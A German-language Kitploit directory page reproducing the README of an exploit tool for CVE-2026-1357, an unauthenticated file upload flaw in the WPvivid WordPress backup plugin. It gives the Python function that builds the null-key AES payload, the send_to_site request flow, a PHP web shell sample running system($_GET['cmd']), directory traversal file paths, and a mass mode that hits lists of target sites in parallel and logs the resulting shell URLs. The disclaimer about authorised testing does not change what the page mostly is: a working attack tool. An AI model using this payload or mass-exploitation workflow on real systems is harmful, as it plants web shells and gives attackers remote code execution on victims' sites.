Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-1357 — Migration, Backup, Staging <= 0.9.123 - Nicht authentifizierter beliebiger Datei-Upload | Kitploit
Tools/GitHubGitHub/nxploited/cve-2026-1357
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed Teaming
GitHubnxploited/cve-2026-1357

CVE-2026-1357

Migration, Backup, Staging <= 0.9.123 - Nicht authentifizierter beliebiger Datei-Upload

Repository anzeigen
1vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

🧨 CVE-2026-1357 – WPvivid Null-Key-Exploit-Tool (CVE-2026-1357.py)

Migration, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123
Schwachstelle: Nicht authentifizierter beliebiger Datei-Upload → Remote Code Execution (RCE)
CVE: CVE-2026-1357 – CVSS 9.8 (Kritisch)

GitHub: https://github.com/Nxploited
Telegram: @KNxploited


🧬 Was dieses Skript tut

Nxploited

CVE-2026-1357.py ist ein Proof-of-Concept-Exploit-Tool für die WPvivid-Schwachstelle. Es konzentriert sich auf die fehlerhafte AES-Sitzungsbehandlung, die es einem Angreifer ermöglicht:

  1. Eine Nutzlast mit einem Null-AES-Schlüssel/IV (ausschließlich Null-Bytes) im gleichen Format zu verschlüsseln, das WPvivid erwartet.
  2. Beliebigen Dateiinhalt (z. B. eine PHP-Shell) und einen gewählten Dateinamen/-pfad (name) in die Nutzlast einzubetten.
  3. Diese Nutzlast über den Parameter wpvivid_action=send_to_site an den WPvivid-Endpunkt zu senden.
  4. (Optional) zu überprüfen, ob die Datei erfolgreich geschrieben wurde und zugänglich ist.

Das Skript versucht nicht, private Schlüssel direkt zu erraten oder zu missbrauchen. Stattdessen simuliert es den fehlerhaften Ablauf von WPvivid, bei dem ein fehlgeschlagenes openssl_private_decrypt() dazu führt, dass die AES-Chiffre von phpseclib mit einem Null-Schlüssel initialisiert wird.


🧠 Technische Interna

🔐 AES-Null-Key-Nutzlast

Der Kern des Exploits liegt in gen_wpvivid_payload():

  • Es erstellt eine JSON-Struktur:

    root@kitploit:~
    {
      "name": "<file_name>",
      "offset": 0,
      "data": "<base64(file_bytes)>",
      "file_size": <len(file_bytes)>,
      "md5": "<md5(file_bytes)>"
    }
    
  • Es serialisiert dieses JSON (kompakte Form, ohne Leerzeichen).

  • Es verschlüsselt das JSON mit:

    • AES-128-CBC
    • key = b"\x00" * 16
    • iv = b"\x00" * 16
  • Anschließend stellt es voran:

    • 3 Bytes: "000" (ein statischer Platzhalter für das Längenfeld).
    • 16-Byte-Hex in Großbuchstaben: Chiffrelänge kodiert als "{len(cipher):016X}".
  • Der endgültige verschlüsselte Blob ist:

    root@kitploit:~
    "000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
    
  • Dieser Blob wird base64-kodiert und als endgültiger wpvivid_content-Wert zurückgegeben.

Funktion:

root@kitploit:~
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

Dies entspricht den Entschlüsselungserwartungen von WPvivid im verwundbaren Codepfad nach einem fehlgeschlagenen RSA-Entschlüsselungsversuch.


🧰 Funktionen & Modi

Das Skript verfügt über zwei Hauptmodi sowie eine Massentest-Funktion:

  1. mood1 – Nutzlast-Generator

    • Erzeugt einen gültigen wpvivid_content-Wert mithilfe des Null-Key-Tricks.
    • Unterstützt mehrere Möglichkeiten zur Definition des Dateiinhalts.
    • Startet optional den Massen-Tester gegen eine Liste von Zielen.
  2. mood2 – Einzelziel-Tester

    • Verwendet eine zuvor generierte Nutzlast.
    • Testet ein einzelnes Ziel End-to-End:
      • Sendet die Nutzlast.
      • Erstellt die erwartete resultierende Datei-URL.
      • Überprüft, ob die Datei erreichbar ist.
  3. Massenmodus (aus mood1)

    • Sendet eine gewählte Nutzlast an mehrere Ziele aus einer Listendatei.
    • Verwendet Nebenläufigkeit (Concurrency) und eine Fortschrittsanzeige.
    • Verfolgt und protokolliert erfolgreiche Uploads.

🚦 Ausführen des Skripts

root@kitploit:~
python3 CVE-2026-1357.py

Sie sehen eine Rich-basierte Benutzeroberfläche mit Banner und Modusauswahl:

  • mood1 – Nutzlast-Generator
  • mood2 – Einzelziel-Tester

🧪 Modus: mood1 – Nutzlast-Generator

Zweck

  • Erstellen einer Exploit-Nutzlast (wpvivid_content), die Folgendes kodiert:
    • Den Dateipfad/-namen, den WPvivid schreiben soll.
    • Den Dateiinhalt (Shell, Testdatei usw.).

Ablauf

  1. Modusauswahl

    Wenn Sie dazu aufgefordert werden:

    root@kitploit:~
    Choose mode (mood1/mood2) [mood1]:
    

    Drücken Sie Enter (Standard ist mood1) oder geben Sie mood1 ein.

  2. Ziel-Dateiname/-pfad

    Sie werden gefragt:

    root@kitploit:~
    Target file name (e.g., Nx_.php or ../../public/Nx_.php):
    

    Beispiele:

    • Um eine Datei im WPvivid-Backup-Verzeichnis abzulegen:

      root@kitploit:~
      Nx_.php
      
    • Um Directory Traversal auszunutzen (sofern vom Ziel erlaubt):

      root@kitploit:~
      ../../public_html/Nx_.php
      

    Der Wert fließt in das Feld name der JSON-Nutzlast ein.

  3. Eingabemodus für den Inhalt

    Das Skript zeigt drei Möglichkeiten zur Definition des Dateiinhalts an:

    • Modus 1: einzeiliger Inhalt.
    • Modus 2: mehrzeiliger Inhalt (endet mit EOF).
    • Modus 3: Einlesen aus einer lokalen Datei (z. B. ).

Optional: Massenmodus aus mood1

Nach der Generierung der Nutzlast fragt das Skript:

root@kitploit:~
Auto-send this payload to targets list (mass mode)? (y/N):

Wenn Sie mit y antworten, startet es den Massenmodus mit der soeben erstellten Nutzlast und dem Dateinamen.


🌐 Massenmodus – Mehrere Ziele

Zweck

  • Eine einzelne Exploit-Nutzlast nehmen und sie gegen eine Liste von Zielen testen.

Ablauf

  1. Ziellistendatei

    Beispielaufforderung:

    root@kitploit:~
    Targets list file (one URL per line):
    

    Erwartetes Dateiformat (z. B. targets.txt):

    root@kitploit:~
    https://site1.com
    site2.com
    http://site3.net
    

    Das Skript normalisiert Basis-URLs automatisch (ergänzt fehlende Schemata).

  2. Thread-Anzahl

    root@kitploit:~
    Threads (concurrent sites) [5]:
    

    Steuert, wie viele Websites parallel verarbeitet werden.

  3. Logik pro Ziel

    Für jedes Ziel:

    • URL normalisieren → base_url.

    • Aufruf:

      root@kitploit:~
      send_wpvivid_payload(base_url, payload)
      

      die:

      • Den POST aus wpvivid_action=send_to_site + wpvivid_content=<payload> erstellt.
      • Über eine neue Sitzung mit optimierten Verbindungspool-Einstellungen sendet.
      • Prüft, ob die Antwort {"result":"success"} enthält (Prüfung der kompakten Form).

🧪 Modus: mood2 – Einzelziel-Tester

Zweck

  • Eine vorhandene Nutzlast (aus wpvivid_payload.txt oder externer Quelle) gegen eine einzelne URL verwenden und die resultierende Datei verifizieren.

Ablauf

  1. Ziel-URL

    Aufforderung:

    root@kitploit:~
    Target base URL (e.g., https://site.com):
    

    Beispiel:

    root@kitploit:~
    https://victim.com
    

    Das Skript normalisiert dies zu einer Basis wie:

    root@kitploit:~
    https://victim.com
    
  2. Dateiname

    Aufforderung:

    root@kitploit:~
    Expected file name (e.g., Nx_.php):
    

    Dies ist der Name/Pfad, von dem Sie erwarten, dass WPvivid ihn schreibt (passend zu dem, was Sie im Feld name der Nutzlast kodiert haben).

  3. Nutzlast-Eingabe

    Aufforderung:

    root@kitploit:~
    Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
    
    • Wenn Sie eine vollständige Zeile einfügen, die mit wpvivid_content=... beginnt, wird das Präfix entfernt.
    • Wenn Sie nur die Base64-Daten einfügen, werden diese unverändert übernommen.
  4. Ausführung

    Das Skript:

    • Sendet den POST mit wpvivid_action=send_to_site + Ihrem wpvivid_content.

Dieser Modus ist ideal für manuelle Tests / Labortests einer einzelnen Website mit feiner Kontrolle über die Nutzlast.


📁 Ausgabedateien

  • wpvivid_payload.txt

    • Wird in mood1 geschrieben.
    • Speichert:
      • file_name=<file_name_you_chose>
      • wpvivid_content=<payload>
  • Nx_.txt

    • Wird von mood1 (Massenmodus) und mood2 geschrieben.
    • Enthält pro Zeile eine erfolgreiche Datei-URL, bei der der Upload offenbar erfolgreich war (und optional verifiziert wurde).

⚠️ Haftungsausschluss

Dieses Tool ist ausschließlich bestimmt für:

  • Sicherheitsforschung in kontrollierten Umgebungen.
  • Das Testen von Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche, schriftliche Genehmigung zum Testen haben.
  • Die Validierung von Abhilfe- und Erkennungsmaßnahmen für CVE-2026-1357.

Durch die Nutzung dieses Skripts stimmen Sie zu, dass:

  • Sie für die Einhaltung aller geltenden Gesetze verantwortlich sind.
  • Sie es nicht auf Systemen ohne ordnungsgemäße Autorisierung einsetzen werden.
  • Der Autor (Nxploited) keinerlei Verantwortung für Missbrauch, Schäden, rechtliche Probleme oder Vorfälle übernimmt, die aus der Verwendung dieses Tools entstehen.

Verwenden Sie es auf eigene Gefahr und nur für legitime Sicherheitstests.


✍️ Autor & Kontakt

  • Von: Nxploited (Khaled Alenazi)
  • GitHub: https://github.com/Nxploited
  • Telegram: @KNxploited

Für Updates, Tools und Inhalte zur Sicherheitsforschung folgen Sie dem Telegram-Kanal:
👉 @KNxploited

Tool herunterladen
shell.php

Sie werden aufgefordert:

root@kitploit:~
Mode [1/2/3] [1]:
  • Modus 1 – Einzeilig

    root@kitploit:~
    Single line content:
    

    Eingabebeispiel:

    root@kitploit:~
    <?php phpinfo();
    
  • Modus 2 – Mehrzeilig

    root@kitploit:~
    Enter file content, line by line. Type 'EOF' on its own line when done.
    

    Sie können ein mehrzeiliges PHP-Skript einfügen oder eingeben und es mit EOF in einer eigenen Zeile beenden:

    root@kitploit:~
    <?php
    echo "Nxploited shell";
    system($_GET['cmd'] ?? 'id');
    ?>
    EOF
    
  • Modus 3 – Lokale Datei

    root@kitploit:~
    Local file path (e.g., shell.php):
    

    Das Skript liest die gesamte Datei in file_bytes ein.

  • Generierung der Nutzlast

    Sobald der Inhalt erfasst ist, führt das Skript Folgendes aus:

    • Es erstellt das JSON-Objekt.
    • Es verschlüsselt es mit Null-Key-AES-CBC.
    • Es umschließt den Binär-Blob.
    • Es base64-kodiert ihn.

    Sie sehen eine Ausgabe wie:

    root@kitploit:~
    Payload generated.
    Use the value after '=' as wpvivid_content.
    
    wpvivid_content=BASE64_BLOB_HERE
    

    Außerdem wird eine Datei wpvivid_payload.txt geschrieben:

    root@kitploit:~
    file_name=Nx_.php
    wpvivid_content=BASE64_BLOB_HERE
    
  • Wenn der Upload als erfolgreich betrachtet wird:

    • shell_url wie folgt erstellen:

      root@kitploit:~
      f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
      
    • In Nx_.txt speichern.

    • verify_written_file() versuchen:

      • Fordert shell_url per GET an.
      • Bei status_code == 200 als verifiziert markieren.
  • Wenn Fehler auftreten:

    • Das Skript klassifiziert den Grund über short_reason():
      • TIMEOUT / SSL / 404 / 403 / CONN / REQUEST / VERIFY / ERROR.
  • Benutzeroberfläche

    • Die Rich-Fortschrittsanzeige zeigt den Gesamtfortschritt und die verstrichene Zeit.
    • Jede Website gibt Folgendes aus:
      • [OK] <shell_url> bei Erfolg.
      • [FAIL] <base> (reason: ...) bei Fehler.
      • [!] Not verified (...) wenn der Upload möglicherweise erfolgreich war, die Verifizierung jedoch fehlschlug.
  • Wenn die Antwort auf Erfolg hindeutet, erstellt es:

    root@kitploit:~
    <base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
    

    und gibt [OK] mit dieser URL aus.

  • Hängt erfolgreiche URLs an Nx_.txt an.

  • Versucht die Verifizierung über verify_written_file() und gibt das Ergebnis aus.